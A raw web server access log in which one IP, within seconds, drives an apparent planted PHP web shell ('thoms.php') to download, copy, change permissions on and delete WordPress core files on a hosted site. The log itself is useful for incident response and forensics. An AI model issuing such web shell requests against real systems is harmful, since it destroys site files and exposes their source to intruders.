45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?dl=script-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?chmod=vars.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14327 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59364 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /bestzyx.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /bestzyx.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /bestzyx.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?chmod=ai-client&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?chmod=ID3&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13953 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:57 -0400] "GET /thoms.php?del=user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?del=user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14034 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13433 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?chmod=certificates&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59315 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:58 -0400] "GET /thoms.php?dl=class-smtp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59244 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /bestzyx.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /bestzyx.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 12284 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /bestzyx.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 22995 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?chmod=js&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=js&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?del=feed-atom.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:59 -0400] "GET /thoms.php?dl=ms-load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14320 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?del=theme-compat&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59317 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17490 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?chmod=pomo&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59351 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?dl=link-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:00 -0400] "GET /thoms.php?del=nav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29245 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /thoms.php?del=class-wp-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /bestzyx.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:01 -0400] "GET /bestzyx.com.tw/wp-includes/js/ HTTP/1.1" 200 4175 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /bestzyx.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?chmod=php-compat&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?del=admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?del=block-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?del=class-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /bestzyx.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?del=embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?del=class-wp-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:02 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59316 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?del=js&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=js&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13251 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24206 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?del=class-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
